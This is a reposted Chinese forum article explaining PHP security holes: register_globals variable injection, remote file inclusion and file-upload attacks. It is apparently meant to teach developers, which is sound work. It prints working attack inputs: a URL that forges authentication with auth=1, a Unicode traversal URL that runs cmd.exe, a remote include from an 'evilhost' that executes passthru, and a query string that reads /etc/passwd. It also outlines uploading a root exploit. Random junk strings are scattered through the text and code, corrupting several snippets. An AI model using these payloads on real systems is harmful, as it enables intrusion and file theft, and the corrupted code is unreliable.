标题: PHP程序的常见漏洞攻击分析 [打印本页] 作者: admin 时间: 2012-9-15 14:28 标题: PHP程序的常见漏洞攻击分析 PHP程序的常见漏洞攻击分析( Q# W! [1 I0 f1 V3 I# P
! [; {+ E: m4 E6 J* K4 m" D% Z
) X6 w. Y3 j- @: Q) i0 x% J转自:WhyTT ! g. L7 Z) ~& L3 l' @# T5 K不是固若金汤,随着PHP的广泛运用,一些黑客们也在无时不想找PHP的麻烦,通过PHP程序漏洞进行攻击就是其中一种。在节,我们将从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性。5 t& A; G" ~. C0 O
, N6 I$ P; c% E
如何通过全局变量进行攻击? # g+ c/ W- H( r* T" k6 x; W+ y* Q7 W1 _0 c. |
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。 4 f/ d2 j9 t4 h+ }8 c s% v2 Y5 g* W' V( O很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。 2 x$ V6 x) X3 j 2 Z' m3 P! m% d5 _9 k. U) z例如: ( p0 j+ x4 c; t% n0 }4 nPHP代码 - G& L# M8 }/ [. u- [+ p& `/ d! ]% J# y' u- h
1. <FORM METHOD="GET" ACTION="test.php"> * f( T' Q8 w8 M& Q D" S. n0 j 2. <INPUT TYPE="TEXT" NAME="hello"> ( ?0 @$ B: n7 ]3 B
3. <INPUT TYPE="SUBMIT"> 0 T5 L* A5 u% L* |
4. </FORM> 3 u7 U! w; y* t! S2 D- J ; F' r/ L# ]1 I% Z7 `# A0 { 这会显示一个文本框和提交按钮。当用户点击提交按钮时,"test.php"会处理用户的输入,当"test.php"运行时,"$hello"会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用"test.php",而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是"$hello"被创建,"$setup"也被创建了。 0 u5 p& I& e' U- N+ @$ ?' W# i5 a2 d3 t: D
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题: I6 K8 Z! t s# jPHP代码0 B) g2 K. y! _: k% h2 u
# i( p% U! b& Q0 `
1. <?php 3 f. N" r0 H) t2 C& f 2. if ($pass == "hello") + | M$ y6 T# E) A$ P 3. $auth = 1; 5 U$ R: q% O3 B8 h' ?7 A5 [
4. ... / G7 a' V$ x5 ~# S2 j) q
5. if ($auth == 1) 4 I) ~- F1 L0 z G 6. echo "some important information"; \+ e2 s7 p- b2 f
7. ?> 5 Q8 p4 D& {! z* o ) v* j3 ~; ?8 V2 {! Y# _ 上面的代码首先检查用户的密码是否为"hello",如果匹配的话,设置"$auth"为"1",即通过认证。之后如果"$suth"为"1"的话,就会显示一些重要信息。# E. p) Z& a1 C# g
( P4 ]8 k |! J+ i! m, _% U这段代码假定"$auth"在没有设置值的时候是空的,但是攻击者可以创建任何全局变量并赋值,通过类似"http://server/test.php?auth=1"的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。 1 ^# t5 ~9 K* U7 }; j0 g" p* r6 A9 f; \3 v0 y8 b+ x
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。! ^6 H m2 D8 D' K
- J$ \1 s. ~- v* q0 l [2 |
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开"track_vars"选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。. S1 X$ {3 a U- P
# ?! L C2 Y. ^* f1 i+ K但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量;HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。0 w% K$ Y+ {4 \( E$ k- X* H& P
& K( S$ F8 \# D4 w# S3 g2 H- P如何通过远程文件进行攻击?! ?/ Z# d4 ` \5 j3 d& n
( L$ O4 G' l$ d! }6 }6 `5 ?. {
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者很容易实现特定功能。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就佐证这个问题的一个很好例子: ; \' b8 [5 f9 R B) x& L" n [/ d- \* ^PHP代码3 U U9 f7 m5 t# k/ X9 Y" C& n
: a$ H/ p5 a$ R4 \7 D
1. <?php " z3 }7 t7 u& L& Z+ \; R2 A 2. if (!($fd = fopen("$filename", "r")) ! d. h8 [; I7 c9 M) a& u& Y
3. echo("Could not open file: $filename<BR>\n"); 1 x G2 w9 G. d- O) Y' G* d
4. ?> + Z' |* B0 v8 z8 J2 [$ [: h0 o' `9 i `
上面的脚本试图打开文件"$filename",如果失败就显示错误信息。很明显,如果我们能够指定"$filename"的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。 : ~4 d8 C' V- ^ / K7 K6 u) m3 g' h例如: & O2 Y# }. ]8 X6 t4 h0 O . L& r( c7 o! [$ A/ O7 \如果指定"$filename"为 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" $ e6 A6 O# @8 q3 H+ u& p7 X$ v
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。这使得支持远程文件的 include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。 2 Y" d- b! J7 ~8 f6 Q4 K7 [" }) o" e8 @( o8 H5 g" h2 w! ~8 |
例如: K$ Q3 U1 h# ~( U- ?. I' r* TPHP代码 ' q/ O5 c; j4 S2 H 7 ?% ~9 H$ S+ W0 S1 w% p, U 1. <?php 0 K& i9 Y8 {; O6 R C! M% _+ c
2. include($libdir . "/languages.php"); $ j5 y0 U$ w% U 3. ?> ' G# s- o) q. ^; [* F+ v% H; o" c( ]6 d1 S# g9 m4 r6 ~) O
上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:7 F7 {) u$ g. c2 I. _7 r8 T( ^2 v
PHP代码! ~8 ~" q1 A2 B
# D& W8 z2 N, |# N
1. <?php . [5 g( q. U0 w, |) ?! l3 K
2. passthru("/bin/ls /etc"); 9 t& x4 o7 L( j 3. ?> * X2 P, O4 x7 I6 v \
* Y7 L, m$ i2 h' w, j U 然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。" j5 l1 n% \9 J9 i/ a; | ^; y
9 q5 v. b% i7 p9 K- i) p" i s需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。, n3 ^& {7 h1 Q1 }
/ }* H0 ^9 U/ P9 I. ^, |如何通过文件上载进行攻击? 0 q/ {" n$ `5 d2 U* P* P |; q) C7 o! |7 E% x( m
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:2 @ ^8 Z6 d! J$ U' O: P! W' P- Y
PHP代码 ! h, e* s: V" M2 J3 c n! X1 F) f; W4 N& r$ L' M! ?
1. <FORM METHOD="POST" ENCTYPE="multipart/form-data"> 3 Q7 m8 f+ j E
2. <INPUT TYPE="FILE" NAME="hello"> ! `% g- e8 W: x; H! [4 a0 A 3. <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> & |) {" N: C/ n7 J- ` 4. <INPUT TYPE="SUBMIT"> , P& H0 l4 F4 C6 v1 z2 I+ E7 K
5. </FORM> 0 C7 Y0 \$ b; D( S* K; w1 S8 T( G5 ?) d) Q& ?( n
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。 0 w) z4 ?3 ~1 O4 z, u/ S因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。- Y0 p8 F* U( b! K( h: y' z
( P) H3 a. M* c; Q) S, t2 M
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。 ! |. D& v; q; H: W$ a0 w' i* E+ @9 u& P( z! O% f+ b
大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:6 g5 }7 v8 j( c& ~; h0 O4 T
PHP代码 * \; U* y2 V; E6 t8 p5 c3 A$ O+ e H
1. $hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 9 P+ W; }4 K" t, \5 _
2. $hello_size = Size in bytes of file (e.g 1024) 5 J; ?" a/ j. G- ?1 K 3. $hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") 1 l; v6 n% N0 H% d- G" Z
4. $hello_type = Mime type of uploaded file (e.g "text/plain") % a8 @: g1 W2 S" I6 B
: S" d; x4 s V. H1 m 然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式: 2 Q3 R0 l% O, G9 j5 g" X$ s" j9 n- i; t) V* X+ U0 m
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt f, s/ K: m3 y2 w7 l) Z' S6 h& f; i
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)): 1 t% C f9 T4 t3 N/ z* b/ xPHP代码4 t; y3 [1 `! U
* k* T! s6 ~1 _6 k* V" e
1. $hello = "/etc/passwd" 3 ~/ y% t) V" c0 ^ K/ a
2. $hello_size = 10240 / `/ I& O# N" K& a 3. $hello_type = "text/plain" / p, a! {: o7 D6 P% O2 a4 I5 N- q 4. $hello_name = "hello.txt" 2 t- K, G9 r) h* k' `4 J- Y/ T: }2 f& X" B$ R5 q+ o, D6 `2 P
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。6 `" q( G W' E3 E, x9 w: m3 j+ O
% s/ i; f$ l/ f6 `" T9 H8 ^& i
新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。 ' _) x1 p' l6 O& }6 l6 Q/ U* l5 [9 W, _
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码: ! H* s0 p$ k6 S% kPHP代码 . V* X# G4 h f0 e+ C+ y% u. O, M! ~) y a! O- W
1. <?php + v; g% d" H. {6 a 2. if (file_exists($theme)) // Checks the file exists on the local system (noremote files) 5 z2 _4 R) D! w E D$ j
3. include("$theme"); 1 }( D" }: S. R 4. ?> / e- T# D! W0 P5 T' T4 k- ]$ F5 h* k d
+ Z0 a9 f2 ~3 M: U4 u0 ]& {7 k8 j e 如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。0 l {; `( o. b" M
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。 2 }& c. Q- e! L$ W" e 0 _/ s8 G# t5 v/ w- X% Z, Q如何通过库文件进行攻击? 6 \ m6 H2 J% \3 i$ S" U) j 7 [ I" j3 G" c" i正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。; w" K2 g g" X! _0 B